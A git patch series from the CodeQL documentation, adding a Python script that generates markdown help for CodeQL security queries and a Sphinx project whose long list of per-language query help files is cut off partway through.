From 710e675b17935076d9d3fb8d7ae66d24244a931d Mon Sep 17 00:00:00 2001 From: james Date: Mon, 5 Oct 2020 16:27:32 +0100 Subject: [PATCH 01/31] add script to generate query help --- docs/language/query-help-markdown.py | 192 +++++++++++++++++++++++++++ 1 file changed, 192 insertions(+) create mode 100644 docs/language/query-help-markdown.py diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py new file mode 100644 index 00000000000..6deb12747c9 --- /dev/null +++ b/docs/language/query-help-markdown.py @@ -0,0 +1,192 @@ +import re +import subprocess +import json +import csv +import sys +import os + +# Define which languages and query packs to consider +languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] + +# Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now +packs = [ "code-scanning", "security-extended" ] + +def prefix_repo_nwo(filename): + """ + Replaces an absolute path prefix with a GitHub repository name with owner (NWO). + This function relies on `git` being available. + For example: + /home/alice/git/ql/java/ql/src/MyQuery.ql + becomes: + github/codeql/java/ql/src/MyQuery.ql + + If we can't detect a known NWO (e.g. github/codeql, github/codeql-go), the + path will be truncated to the root of the git repo: + ql/java/ql/src/MyQuery.ql + + If the filename is not part of a Git repo, the return value is the + same as the input value: the whole path. + """ + dirname = os.path.dirname(filename) + + try: + git_toplevel_dir_subp = subprocess_run(["git", "-C", dirname, "rev-parse", "--show-toplevel"]) + except: + # Not a Git repo + return filename + + git_toplevel_dir = git_toplevel_dir_subp.stdout.strip() + + # Detect 'github/codeql' and 'github/codeql-go' repositories by checking the remote (it's a bit + # of a hack but will work in most cases, as long as the remotes have 'codeql' and 'codeql-go' + # in the URL + git_remotes = subprocess_run(["git","-C",dirname,"remote","-v"]).stdout.strip() + + if "codeql-go" in git_remotes: prefix = "github/codeql-go" + elif "codeql" in git_remotes: prefix = "github/codeql" + else: prefix = os.path.basename(git_toplevel_dir) + + return os.path.join(prefix, filename[len(git_toplevel_dir)+1:]) + + +def single_spaces(input): + """ + Workaround for https://github.com/github/codeql-coreql-team/issues/470 which causes + some metadata strings to contain newlines and spaces without a good reason. + """ + return " ".join(input.split()) + + +def get_query_metadata(key, metadata, queryfile): + """Returns query metadata or prints a warning to stderr if a particular piece of metadata is not available.""" + if key in metadata: return single_spaces(metadata[key]) + query_id = metadata['id'] if 'id' in metadata else 'unknown' + print("Warning: no '%s' metadata for query with ID '%s' (%s)" % (key, query_id, queryfile), file=sys.stderr) + return "" + + +def subprocess_run(cmd): + """Runs a command through subprocess.run, with a few tweaks. Raises an Exception if exit code != 0.""" + return subprocess.run(cmd, capture_output=True, text=True, env=os.environ.copy(), check=True) + +try: # Check for `git` on path + subprocess_run(["git","--version"]) +except Exception as e: + print("Error: couldn't invoke 'git'. Is it on the path? Aborting.", file=sys.stderr) + raise e + +try: # Check for `codeql` on path + subprocess_run(["codeql","--version"]) +except Exception as e: + print("Error: couldn't invoke CodeQL CLI 'codeql'. Is it on the path? Aborting.", file=sys.stderr) + raise e + +# Define CodeQL search path so it'll find the CodeQL repositories: +# - anywhere in the current Git clone (including current working directory) +# - the 'codeql' subdirectory of the cwd +# +# (and assumes the codeql-go repo is in a similar location) + +#codeql_search_path = "./ql" or "./codeql-go" # will be extended further down + +# Extend CodeQL search path by detecting root of the current Git repo (if any). This means that you +# can run this script from any location within the CodeQL git repository. +try: + git_toplevel_dir = subprocess_run(["git","rev-parse","--show-toplevel"]) + + # Current working directory is in a Git repo. Add it to the search path, just in case it's the CodeQL repo + #git_toplevel_dir = git_toplevel_dir.stdout.strip() + #codeql_search_path += ":" + git_toplevel_dir + ":" + git_toplevel_dir + "/../codeql-go" + codeql_search_path = git_toplevel_dir = git_toplevel_dir.stdout.strip() +except: + # git rev-parse --show-toplevel exited with non-zero exit code. We're not in a Git repo + pass + +# Iterate over all languages and packs, and resolve which queries are part of those packs +for lang in languages: + + # Define empty dictionary to store @name:filename pairs to generate alphabetically sorted Sphinx toctree + index_file_dictionary = {} + for pack in packs: + # Get absolute paths to queries in this pack by using 'codeql resolve queries' + try: + queries_subp = subprocess_run(["codeql","resolve","queries","--search-path", codeql_search_path, "%s-%s.qls" % (lang, pack)]) + except Exception as e: + # Resolving queries might go wrong if the github/codeql and github/codeql-go repositories are not + # on the search path. + print( + "Warning: couldn't find query pack '%s' for language '%s'. Do you have the right repositories in the right places (search path: '%s')?" % (pack, lang, codeql_search_path), + file=sys.stderr + ) + continue + + # Define empty dictionary to store @name:filename pairs to generate alphabetically sorted Sphinx toctree later + index_file_dictionary = {} + + # Investigate metadata for every query by using 'codeql resolve metadata' + for queryfile in queries_subp.stdout.strip().split("\n"): + query_metadata_json = subprocess_run(["codeql","resolve","metadata",queryfile]).stdout.strip() + meta = json.loads(query_metadata_json) + + # Turn an absolute path to a query file into an nwo-prefixed path (e.g. github/codeql/java/ql/src/....) + queryfile_nwo = prefix_repo_nwo(queryfile) + + # Generate the query help for each query + query_help = subprocess_run(["codeql","generate","query-help","--format=markdown","--warnings=hide",queryfile]).stdout.strip() + + # Pull out relevant query metadata properties that we want to display in the query help + query_name_meta = get_query_metadata('name', meta, queryfile) + query_description = get_query_metadata('description', meta, queryfile) + query_id = "ID: " + get_query_metadata('id', meta, queryfile) + "\n" + query_kind = "Kind: " + get_query_metadata('kind', meta, queryfile) + "\n" + query_severity = "Severity: " + get_query_metadata('problem.severity', meta, queryfile) + "\n" + query_precision = "Precision: " + get_query_metadata('precision', meta, queryfile) + "\n" + query_tags = "Tags: " + get_query_metadata('tags', meta, queryfile) + "\n" + + # Build a link to the query source file for display in the query help + if "go" in prefix_repo_nwo(queryfile): + transform_link = prefix_repo_nwo(queryfile).replace("codeql-go", "codeql-go/tree/main").replace(" ", "%20").replace("\\","/") + else: + transform_link = prefix_repo_nwo(queryfile).replace("codeql", "codeql/tree/main").replace(" ", "%20").replace("\\","/") + query_link = "[Click to see the query in the CodeQL repository](https://github.com/" + transform_link + ")\n" + + # Join metadata into a literal block and add query link below + meta_string = "\n"*2 + "```\n" + query_id + query_kind + query_severity + query_precision + query_tags + "\n" + "```\n" + query_link + "\n" + + # Insert metadata block into query help directly under title + full_help = query_help.replace("\n", meta_string, 1) + + # Basename of query, used to make markdown output filepath + query_name = os.path.split(queryfile_nwo)[1][:-3] + + # Populate index_file_dictionary with @name extracted from metadata and corresponding query filename + index_file_dictionary[query_name_meta] = lang + "/" + query_name + + # Make paths for output of the form: query-help-markdown//.md + docs_dir = 'query-help' + md_dir_path = os.path.join(docs_dir, lang) + md_file_path = os.path.join(md_dir_path, query_name + ".md") + + # Make directories for output paths they don't already exist + if not os.path.isdir(md_dir_path): + os.makedirs(md_dir_path) + + # Generate query help at chosen path if output file doesn't already exist + if not os.path.exists(md_file_path): + file = open(md_file_path, "x") + file.write(full_help) + file.close() + + # Sort index_file_dictionary alphabetically by @name key, and create column of filename values + sorted_index = dict(sorted(index_file_dictionary.items())) + sorted_index = ("\n" + " ").join(sorted_index.values()) + + # Add directives to make sorted_index a valid toctree for sphinx source files + toc_directive = ".. toctree::\n :titlesonly:\n\n " + toc_include = toc_directive + sorted_index + + # Write toctree to rst + toc_file = os.path.join(docs_dir, "toc-" + lang + ".rst") + file = open(toc_file, "x") + file.write(toc_include) + file.close() \ No newline at end of file From 6667b58b2c69f2dad6ab56a40d2ac5b66abfced6 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 5 Oct 2020 16:33:09 +0100 Subject: [PATCH 02/31] make new sphinx project for query help --- docs/language/query-help/conf.py | 85 +++++++ docs/language/query-help/cpp.rst | 5 + docs/language/query-help/cpp/AllocaInLoop.md | 53 +++++ .../query-help/cpp/ArithmeticUncontrolled.md | 50 +++++ .../query-help/cpp/AuthenticationBypass.md | 61 ++++++ .../cpp/BadAdditionOverflowCheck.md | 46 ++++ .../query-help/cpp/BadlyBoundedWrite.md | 42 ++++ .../query-help/cpp/BrokenCryptoAlgorithm.md | 46 ++++ .../cpp/CastArrayPointerArithmetic.md | 48 ++++ docs/language/query-help/cpp/CgiXss.md | 54 +++++ .../query-help/cpp/CleartextBufferWrite.md | 45 ++++ .../query-help/cpp/CleartextFileWrite.md | 45 ++++ .../query-help/cpp/CleartextSqliteDatabase.md | 67 ++++++ .../query-help/cpp/ComparisonWithWiderType.md | 63 ++++++ .../cpp/DangerousFunctionOverflow.md | 56 +++++ .../query-help/cpp/DangerousUseOfCin.md | 47 ++++ .../cpp/DoNotCreateWorldWritable.md | 45 ++++ .../cpp/HResultBooleanConversion.md | 42 ++++ .../cpp/IncorrectNotOperatorUsage.md | 55 +++++ .../query-help/cpp/IncorrectPointerScaling.md | 43 ++++ .../cpp/IncorrectPointerScalingVoid.md | 44 ++++ docs/language/query-help/cpp/IntMultToLong.md | 40 ++++ .../query-help/cpp/NewFreeMismatch.md | 34 +++ .../cpp/NoSpaceForZeroTerminator.md | 43 ++++ .../query-help/cpp/NonConstantFormat.md | 109 +++++++++ .../cpp/OffsetUseBeforeRangeCheck.md | 58 +++++ .../query-help/cpp/OpenSslHeartbleed.md | 60 +++++ .../language/query-help/cpp/OverflowStatic.md | 41 ++++ docs/language/query-help/cpp/OverrunWrite.md | 45 ++++ .../query-help/cpp/OverrunWriteFloat.md | 45 ++++ .../query-help/cpp/PointerOverflow.md | 45 ++++ .../cpp/PotentiallyDangerousFunction.md | 50 +++++ .../query-help/cpp/SignedOverflowCheck.md | 70 ++++++ docs/language/query-help/cpp/SizeCheck.md | 40 ++++ docs/language/query-help/cpp/SizeCheck2.md | 41 ++++ .../query-help/cpp/SnprintfOverflow.md | 66 ++++++ docs/language/query-help/cpp/SqlTainted.md | 43 ++++ .../query-help/cpp/StrncpyFlippedArgs.md | 34 +++ .../query-help/cpp/SuspiciousAddWithSizeof.md | 43 ++++ .../query-help/cpp/SuspiciousCallToStrncat.md | 36 +++ .../query-help/cpp/SuspiciousSizeof.md | 32 +++ .../query-help/cpp/TOCTOUFilesystemRace.md | 74 +++++++ .../query-help/cpp/TaintedAllocationSize.md | 41 ++++ .../query-help/cpp/TaintedCondition.md | 45 ++++ docs/language/query-help/cpp/TaintedPath.md | 61 ++++++ .../query-help/cpp/TooFewArguments.md | 42 ++++ .../language/query-help/cpp/UnboundedWrite.md | 42 ++++ .../cpp/UncontrolledFormatString.md | 45 ++++ ...ncontrolledFormatStringThroughGlobalVar.md | 56 +++++ .../cpp/UncontrolledProcessOperation.md | 46 ++++ .../query-help/cpp/UninitializedLocal.md | 61 ++++++ .../query-help/cpp/UnsafeCreateProcessCall.md | 53 +++++ .../cpp/UnsafeDaclSecurityDescriptor.md | 52 +++++ .../query-help/cpp/UnsafeUseOfStrcat.md | 43 ++++ .../query-help/cpp/UnterminatedVarargsCall.md | 59 +++++ .../query-help/cpp/WcharCharConversion.md | 41 ++++ .../cpp/WrongNumberOfFormatArguments.md | 36 +++ .../cpp/WrongTypeFormatArguments.md | 34 +++ docs/language/query-help/csharp.rst | 4 + .../language/query-help/csharp/ASPNetDebug.md | 56 +++++ .../csharp/ASPNetDirectoryListing.md | 48 ++++ .../query-help/csharp/AbandonSession.md | 52 +++++ .../csharp/AssemblyPathInjection.md | 71 ++++++ .../query-help/csharp/CleartextStorage.md | 64 ++++++ .../query-help/csharp/CodeInjection.md | 75 +++++++ .../query-help/csharp/CommandInjection.md | 45 ++++ .../query-help/csharp/ConditionalBypass.md | 54 +++++ .../csharp/CookieWithOverlyBroadDomain.md | 55 +++++ .../csharp/CookieWithOverlyBroadPath.md | 52 +++++ .../query-help/csharp/DeserializedDelegate.md | 44 ++++ .../EmptyPasswordInConfigurationFile.md | 22 ++ .../query-help/csharp/Encryption using ECB.md | 22 ++ .../csharp/ExceptionInformationExposure.md | 65 ++++++ .../csharp/ExposureInTransmittedData.md | 66 ++++++ .../csharp/ExposureOfPrivateInformation.md | 44 ++++ .../csharp/HardcodedConnectionString.md | 78 +++++++ .../query-help/csharp/HardcodedCredentials.md | 78 +++++++ .../csharp/HeaderCheckingDisabled.md | 22 ++ .../query-help/csharp/InadequateRSAPadding.md | 23 ++ .../query-help/csharp/InsecureRandomness.md | 66 ++++++ .../csharp/InsecureSQLConnection.md | 50 +++++ .../query-help/csharp/InsufficientKeySize.md | 22 ++ .../query-help/csharp/LDAPInjection.md | 85 +++++++ .../csharp/LocalUnvalidatedArithmetic.md | 66 ++++++ docs/language/query-help/csharp/LogForging.md | 54 +++++ .../csharp/MissingASPNETGlobalErrorHandler.md | 71 ++++++ .../MissingAntiForgeryTokenValidation.md | 54 +++++ .../query-help/csharp/MissingXFrameOptions.md | 56 +++++ .../query-help/csharp/MissingXMLValidation.md | 72 ++++++ .../csharp/PasswordInConfigurationFile.md | 23 ++ .../query-help/csharp/PersistentCookie.md | 21 ++ docs/language/query-help/csharp/ReDoS.md | 57 +++++ .../query-help/csharp/RegexInjection.md | 56 +++++ docs/language/query-help/csharp/RequireSSL.md | 46 ++++ .../query-help/csharp/ResourceInjection.md | 59 +++++ .../query-help/csharp/RuntimeChecksBypass.md | 83 +++++++ .../csharp/SecondOrderSqlInjection.md | 86 ++++++++ .../query-help/csharp/SqlInjection.md | 86 ++++++++ .../csharp/StoredCommandInjection.md | 45 ++++ .../query-help/csharp/StoredLDAPInjection.md | 85 +++++++ .../query-help/csharp/StoredXPathInjection.md | 64 ++++++ docs/language/query-help/csharp/StoredXSS.md | 43 ++++ .../language/query-help/csharp/TaintedPath.md | 61 ++++++ .../csharp/ThreadUnsafeICryptoTransform.md | 132 +++++++++++ .../ThreadUnsafeICryptoTransformLambda.md | 96 ++++++++ .../csharp/UncontrolledFormatString.md | 47 ++++ .../UnsafeDeserializationUntrustedInput.md | 60 +++++ .../csharp/UntrustedDataInsecureXml.md | 45 ++++ .../language/query-help/csharp/UrlRedirect.md | 50 +++++ .../query-help/csharp/UseOfFileUpload.md | 27 +++ .../query-help/csharp/ValueShadowing.md | 53 +++++ .../csharp/ValueShadowingServerVariable.md | 52 +++++ .../query-help/csharp/WeakEncryption.md | 45 ++++ .../query-help/csharp/XMLInjection.md | 83 +++++++ .../query-help/csharp/XPathInjection.md | 64 ++++++ docs/language/query-help/csharp/XSS.md | 43 ++++ docs/language/query-help/csharp/ZipSlip.md | 78 +++++++ docs/language/query-help/go.rst | 4 + .../query-help/go/AllocationSizeOverflow.md | 78 +++++++ .../query-help/go/BadRedirectCheck.md | 52 +++++ .../query-help/go/CleartextLogging.md | 81 +++++++ .../query-help/go/CommandInjection.md | 46 ++++ .../query-help/go/ConstantOauth2State.md | 96 ++++++++ .../query-help/go/DisabledCertificateCheck.md | 48 ++++ docs/language/query-help/go/EmailInjection.md | 66 ++++++ .../query-help/go/HardcodedCredentials.md | 56 +++++ .../query-help/go/IncompleteHostnameRegexp.md | 75 +++++++ .../query-help/go/IncompleteUrlSchemeCheck.md | 60 +++++ .../go/IncorrectIntegerConversion.md | 207 ++++++++++++++++++ .../query-help/go/InsecureHostKeyCallback.md | 87 ++++++++ docs/language/query-help/go/InsecureTLS.md | 84 +++++++ .../query-help/go/MissingRegexpAnchor.md | 75 +++++++ .../language/query-help/go/OpenUrlRedirect.md | 71 ++++++ docs/language/query-help/go/ReflectedXss.md | 82 +++++++ docs/language/query-help/go/RequestForgery.md | 81 +++++++ docs/language/query-help/go/SqlInjection.md | 62 ++++++ docs/language/query-help/go/StringBreak.md | 72 ++++++ docs/language/query-help/go/TaintedPath.md | 61 ++++++ docs/language/query-help/go/XPathInjection.md | 65 ++++++ docs/language/query-help/go/ZipSlip.md | 78 +++++++ docs/language/query-help/index.rst | 19 ++ docs/language/query-help/java.rst | 4 + .../query-help/java/ArithmeticTainted.md | 64 ++++++ .../query-help/java/ArithmeticUncontrolled.md | 54 +++++ .../query-help/java/BrokenCryptoAlgorithm.md | 44 ++++ .../query-help/java/CleartextStorageCookie.md | 62 ++++++ .../java/CleartextStorageProperties.md | 62 ++++++ .../java/ComparisonWithWiderType.md | 68 ++++++ .../query-help/java/ConditionalBypass.md | 54 +++++ docs/language/query-help/java/ExecRelative.md | 41 ++++ docs/language/query-help/java/ExecTainted.md | 42 ++++ .../language/query-help/java/ExecUnescaped.md | 51 +++++ .../java/ExternallyControlledFormatString.md | 66 ++++++ .../java/HardcodedCredentialsApiCall.md | 44 ++++ .../ImproperValidationOfArrayConstruction.md | 63 ++++++ .../java/ImproperValidationOfArrayIndex.md | 64 ++++++ docs/language/query-help/java/InfiniteLoop.md | 48 ++++ .../query-help/java/InformationLoss.md | 33 +++ .../query-help/java/InsecureCookie.md | 46 ++++ .../java/InsecureDependencyResolution.md | 135 ++++++++++++ .../language/query-help/java/IntMultToLong.md | 43 ++++ .../language/query-help/java/LdapInjection.md | 142 ++++++++++++ .../java/MaybeBrokenCryptoAlgorithm.md | 44 ++++ .../query-help/java/NettyResponseSplitting.md | 72 ++++++ .../query-help/java/NumericCastTainted.md | 64 ++++++ .../java/PotentiallyDangerousFunction.md | 50 +++++ .../query-help/java/PredictableSeed.md | 46 ++++ .../java/ReadingFromWorldWritableFile.md | 44 ++++ .../query-help/java/ResponseSplitting.md | 72 ++++++ .../query-help/java/SocketAuthRace.md | 49 +++++ .../query-help/java/SpringCSRFProtection.md | 48 ++++ docs/language/query-help/java/SqlTainted.md | 122 +++++++++++ docs/language/query-help/java/SqlUnescaped.md | 56 +++++ .../query-help/java/StackTraceExposure.md | 54 +++++ docs/language/query-help/java/TOCTOURace.md | 63 ++++++ docs/language/query-help/java/TaintedPath.md | 62 ++++++ .../java/TaintedPermissionsCheck.md | 44 ++++ .../query-help/java/UnreleasedLock.md | 42 ++++ .../query-help/java/UnsafeDeserialization.md | 59 +++++ docs/language/query-help/java/UrlRedirect.md | 43 ++++ docs/language/query-help/java/XSS.md | 39 ++++ docs/language/query-help/java/XXE.md | 54 +++++ docs/language/query-help/java/ZipSlip.md | 57 +++++ docs/language/query-help/javascript.rst | 4 + .../javascript/AllowRunningInsecureContent.md | 37 ++++ .../query-help/javascript/BadRandomness.md | 66 ++++++ .../javascript/BrokenCryptoAlgorithm.md | 43 ++++ .../javascript/BuildArtifactLeak.md | 57 +++++ .../query-help/javascript/CleartextLogging.md | 66 ++++++ .../query-help/javascript/CleartextStorage.md | 66 ++++++ .../javascript/ClientSideUrlRedirect.md | 33 +++ .../query-help/javascript/CodeInjection.md | 34 +++ .../query-help/javascript/CommandInjection.md | 42 ++++ .../javascript/ConditionalBypass.md | 64 ++++++ .../CorsMisconfigurationForCredentials.md | 78 +++++++ .../DisablingCertificateValidation.md | 49 +++++ .../query-help/javascript/DisablingSce.md | 55 +++++ .../javascript/DisablingWebSecurity.md | 37 ++++ .../query-help/javascript/DoubleEscaping.md | 73 ++++++ .../query-help/javascript/ExceptionXss.md | 45 ++++ .../query-help/javascript/FileAccessToHttp.md | 42 ++++ .../javascript/HardcodedCredentials.md | 44 ++++ .../HardcodedDataInterpretedAsCode.md | 41 ++++ .../HostHeaderPoisoningInEmailGeneration.md | 77 +++++++ .../query-help/javascript/HttpToFileAccess.md | 42 ++++ .../javascript/IdentityReplacement.md | 38 ++++ .../javascript/ImproperCodeSanitization.md | 63 ++++++ .../javascript/IncompleteHostnameRegExp.md | 47 ++++ .../IncompleteHtmlAttributeSanitization.md | 61 ++++++ .../IncompleteMultiCharacterSanitization.md | 62 ++++++ .../javascript/IncompleteSanitization.md | 62 ++++++ .../javascript/IncompleteUrlSchemeCheck.md | 50 +++++ .../IncompleteUrlSubstringSanitization.md | 75 +++++++ .../javascript/IncorrectSuffixCheck.md | 48 ++++ .../javascript/IndirectCommandInjection.md | 55 +++++ .../query-help/javascript/InsecureDownload.md | 48 ++++ .../javascript/InsecureRandomness.md | 58 +++++ .../javascript/InsecureUrlWhitelist.md | 49 +++++ .../javascript/InsufficientPasswordHash.md | 49 +++++ .../javascript/LoopBoundInjection.md | 64 ++++++ .../javascript/MissingCsrfMiddleware.md | 63 ++++++ .../javascript/MissingRateLimiting.md | 66 ++++++ .../javascript/MissingRegExpAnchor.md | 56 +++++ .../javascript/PasswordInConfigurationFile.md | 23 ++ .../query-help/javascript/PolynomialReDoS.md | 62 ++++++ .../query-help/javascript/PostMessageStar.md | 46 ++++ .../javascript/PrivateFileExposure.md | 47 ++++ .../javascript/PrototypePollution.md | 69 ++++++ .../javascript/PrototypePollutionUtility.md | 80 +++++++ docs/language/query-help/javascript/ReDoS.md | 48 ++++ .../query-help/javascript/ReflectedXss.md | 63 ++++++ .../query-help/javascript/RegExpInjection.md | 59 +++++ .../javascript/RemotePropertyInjection.md | 61 ++++++ .../query-help/javascript/RequestForgery.md | 69 ++++++ .../javascript/ServerSideUrlRedirect.md | 52 +++++ .../ShellCommandInjectionFromEnvironment.md | 58 +++++ .../query-help/javascript/SqlInjection.md | 57 +++++ .../javascript/StackTraceExposure.md | 75 +++++++ .../query-help/javascript/StoredXss.md | 70 ++++++ .../javascript/TaintedFormatString.md | 52 +++++ .../query-help/javascript/TaintedPath.md | 56 +++++ .../query-help/javascript/TargetBlank.md | 40 ++++ .../TypeConfusionThroughParameterTampering.md | 72 ++++++ .../javascript/UnsafeDeserialization.md | 52 +++++ .../javascript/UnsafeDynamicMethodAccess.md | 71 ++++++ .../javascript/UnsafeHtmlExpansion.md | 59 +++++ .../javascript/UnsafeJQueryPlugin.md | 57 +++++ .../UnsafeShellCommandConstruction.md | 53 +++++ .../UnvalidatedDynamicMethodCall.md | 112 ++++++++++ .../UselessRegExpCharacterEscape.md | 37 ++++ .../query-help/javascript/UselessUseOfCat.md | 51 +++++ .../language/query-help/javascript/XmlBomb.md | 62 ++++++ .../query-help/javascript/XpathInjection.md | 65 ++++++ docs/language/query-help/javascript/Xss.md | 43 ++++ .../query-help/javascript/XssThroughDom.md | 53 +++++ docs/language/query-help/javascript/Xxe.md | 53 +++++ .../language/query-help/javascript/ZipSlip.md | 68 ++++++ docs/language/query-help/python.rst | 4 + .../query-help/python/BindToAllInterfaces.md | 44 ++++ .../python/BrokenCryptoAlgorithm.md | 49 +++++ .../query-help/python/CleartextLogging.md | 49 +++++ .../query-help/python/CleartextStorage.md | 49 +++++ .../query-help/python/CodeInjection.md | 51 +++++ .../query-help/python/CommandInjection.md | 56 +++++ docs/language/query-help/python/FlaskDebug.md | 41 ++++ .../query-help/python/HardcodedCredentials.md | 65 ++++++ .../python/IncompleteHostnameRegExp.md | 56 +++++ .../IncompleteUrlSubstringSanitization.md | 88 ++++++++ .../python/InsecureDefaultProtocol.md | 44 ++++ .../query-help/python/InsecureProtocol.md | 53 +++++ .../python/InsecureTemporaryFile.md | 51 +++++ .../python/Jinja2WithoutEscaping.md | 59 +++++ .../python/MissingHostKeyValidation.md | 49 +++++ .../query-help/python/PathInjection.md | 81 +++++++ .../query-help/python/ReflectedXss.md | 46 ++++ .../python/RequestWithoutValidation.md | 49 +++++ .../query-help/python/SqlInjection.md | 56 +++++ .../query-help/python/StackTraceExposure.md | 58 +++++ docs/language/query-help/python/TarSlip.md | 62 ++++++ .../python/UnsafeDeserialization.md | 59 +++++ .../language/query-help/python/UrlRedirect.md | 57 +++++ docs/language/query-help/python/UseofInput.md | 22 ++ docs/language/query-help/python/WeakCrypto.md | 28 +++ .../query-help/python/WeakFilePermissions.md | 22 ++ docs/language/query-help/query-list.rst | 7 + .../query-help/query-lists/query-list.csv | 196 +++++++++++++++++ docs/language/query-help/toc-cpp.rst | 59 +++++ docs/language/query-help/toc-csharp.rst | 61 ++++++ docs/language/query-help/toc-go.rst | 25 +++ docs/language/query-help/toc-java.rst | 44 ++++ docs/language/query-help/toc-javascript.rst | 76 +++++++ docs/language/query-help/toc-python.rst | 29 +++ 292 files changed, 16243 insertions(+) create mode 100644 docs/language/query-help/conf.py create mode 100644 docs/language/query-help/cpp.rst create mode 100644 docs/language/query-help/cpp/AllocaInLoop.md create mode 100644 docs/language/query-help/cpp/ArithmeticUncontrolled.md create mode 100644 docs/language/query-help/cpp/AuthenticationBypass.md create mode 100644 docs/language/query-help/cpp/BadAdditionOverflowCheck.md create mode 100644 docs/language/query-help/cpp/BadlyBoundedWrite.md create mode 100644 docs/language/query-help/cpp/BrokenCryptoAlgorithm.md create mode 100644 docs/language/query-help/cpp/CastArrayPointerArithmetic.md create mode 100644 docs/language/query-help/cpp/CgiXss.md create mode 100644 docs/language/query-help/cpp/CleartextBufferWrite.md create mode 100644 docs/language/query-help/cpp/CleartextFileWrite.md create mode 100644 docs/language/query-help/cpp/CleartextSqliteDatabase.md create mode 100644 docs/language/query-help/cpp/ComparisonWithWiderType.md create mode 100644 docs/language/query-help/cpp/DangerousFunctionOverflow.md create mode 100644 docs/language/query-help/cpp/DangerousUseOfCin.md create mode 100644 docs/language/query-help/cpp/DoNotCreateWorldWritable.md create mode 100644 docs/language/query-help/cpp/HResultBooleanConversion.md create mode 100644 docs/language/query-help/cpp/IncorrectNotOperatorUsage.md create mode 100644 docs/language/query-help/cpp/IncorrectPointerScaling.md create mode 100644 docs/language/query-help/cpp/IncorrectPointerScalingVoid.md create mode 100644 docs/language/query-help/cpp/IntMultToLong.md create mode 100644 docs/language/query-help/cpp/NewFreeMismatch.md create mode 100644 docs/language/query-help/cpp/NoSpaceForZeroTerminator.md create mode 100644 docs/language/query-help/cpp/NonConstantFormat.md create mode 100644 docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md create mode 100644 docs/language/query-help/cpp/OpenSslHeartbleed.md create mode 100644 docs/language/query-help/cpp/OverflowStatic.md create mode 100644 docs/language/query-help/cpp/OverrunWrite.md create mode 100644 docs/language/query-help/cpp/OverrunWriteFloat.md create mode 100644 docs/language/query-help/cpp/PointerOverflow.md create mode 100644 docs/language/query-help/cpp/PotentiallyDangerousFunction.md create mode 100644 docs/language/query-help/cpp/SignedOverflowCheck.md create mode 100644 docs/language/query-help/cpp/SizeCheck.md create mode 100644 docs/language/query-help/cpp/SizeCheck2.md create mode 100644 docs/language/query-help/cpp/SnprintfOverflow.md create mode 100644 docs/language/query-help/cpp/SqlTainted.md create mode 100644 docs/language/query-help/cpp/StrncpyFlippedArgs.md create mode 100644 docs/language/query-help/cpp/SuspiciousAddWithSizeof.md create mode 100644 docs/language/query-help/cpp/SuspiciousCallToStrncat.md create mode 100644 docs/language/query-help/cpp/SuspiciousSizeof.md create mode 100644 docs/language/query-help/cpp/TOCTOUFilesystemRace.md create mode 100644 docs/language/query-help/cpp/TaintedAllocationSize.md create mode 100644 docs/language/query-help/cpp/TaintedCondition.md create mode 100644 docs/language/query-help/cpp/TaintedPath.md create mode 100644 docs/language/query-help/cpp/TooFewArguments.md create mode 100644 docs/language/query-help/cpp/UnboundedWrite.md create mode 100644 docs/language/query-help/cpp/UncontrolledFormatString.md create mode 100644 docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md create mode 100644 docs/language/query-help/cpp/UncontrolledProcessOperation.md create mode 100644 docs/language/query-help/cpp/UninitializedLocal.md create mode 100644 docs/language/query-help/cpp/UnsafeCreateProcessCall.md create mode 100644 docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md create mode 100644 docs/language/query-help/cpp/UnsafeUseOfStrcat.md create mode 100644 docs/language/query-help/cpp/UnterminatedVarargsCall.md create mode 100644 docs/language/query-help/cpp/WcharCharConversion.md create mode 100644 docs/language/query-help/cpp/WrongNumberOfFormatArguments.md create mode 100644 docs/language/query-help/cpp/WrongTypeFormatArguments.md create mode 100644 docs/language/query-help/csharp.rst create mode 100644 docs/language/query-help/csharp/ASPNetDebug.md create mode 100644 docs/language/query-help/csharp/ASPNetDirectoryListing.md create mode 100644 docs/language/query-help/csharp/AbandonSession.md create mode 100644 docs/language/query-help/csharp/AssemblyPathInjection.md create mode 100644 docs/language/query-help/csharp/CleartextStorage.md create mode 100644 docs/language/query-help/csharp/CodeInjection.md create mode 100644 docs/language/query-help/csharp/CommandInjection.md create mode 100644 docs/language/query-help/csharp/ConditionalBypass.md create mode 100644 docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md create mode 100644 docs/language/query-help/csharp/CookieWithOverlyBroadPath.md create mode 100644 docs/language/query-help/csharp/DeserializedDelegate.md create mode 100644 docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md create mode 100644 docs/language/query-help/csharp/Encryption using ECB.md create mode 100644 docs/language/query-help/csharp/ExceptionInformationExposure.md create mode 100644 docs/language/query-help/csharp/ExposureInTransmittedData.md create mode 100644 docs/language/query-help/csharp/ExposureOfPrivateInformation.md create mode 100644 docs/language/query-help/csharp/HardcodedConnectionString.md create mode 100644 docs/language/query-help/csharp/HardcodedCredentials.md create mode 100644 docs/language/query-help/csharp/HeaderCheckingDisabled.md create mode 100644 docs/language/query-help/csharp/InadequateRSAPadding.md create mode 100644 docs/language/query-help/csharp/InsecureRandomness.md create mode 100644 docs/language/query-help/csharp/InsecureSQLConnection.md create mode 100644 docs/language/query-help/csharp/InsufficientKeySize.md create mode 100644 docs/language/query-help/csharp/LDAPInjection.md create mode 100644 docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md create mode 100644 docs/language/query-help/csharp/LogForging.md create mode 100644 docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md create mode 100644 docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md create mode 100644 docs/language/query-help/csharp/MissingXFrameOptions.md create mode 100644 docs/language/query-help/csharp/MissingXMLValidation.md create mode 100644 docs/language/query-help/csharp/PasswordInConfigurationFile.md create mode 100644 docs/language/query-help/csharp/PersistentCookie.md create mode 100644 docs/language/query-help/csharp/ReDoS.md create mode 100644 docs/language/query-help/csharp/RegexInjection.md create mode 100644 docs/language/query-help/csharp/RequireSSL.md create mode 100644 docs/language/query-help/csharp/ResourceInjection.md create mode 100644 docs/language/query-help/csharp/RuntimeChecksBypass.md create mode 100644 docs/language/query-help/csharp/SecondOrderSqlInjection.md create mode 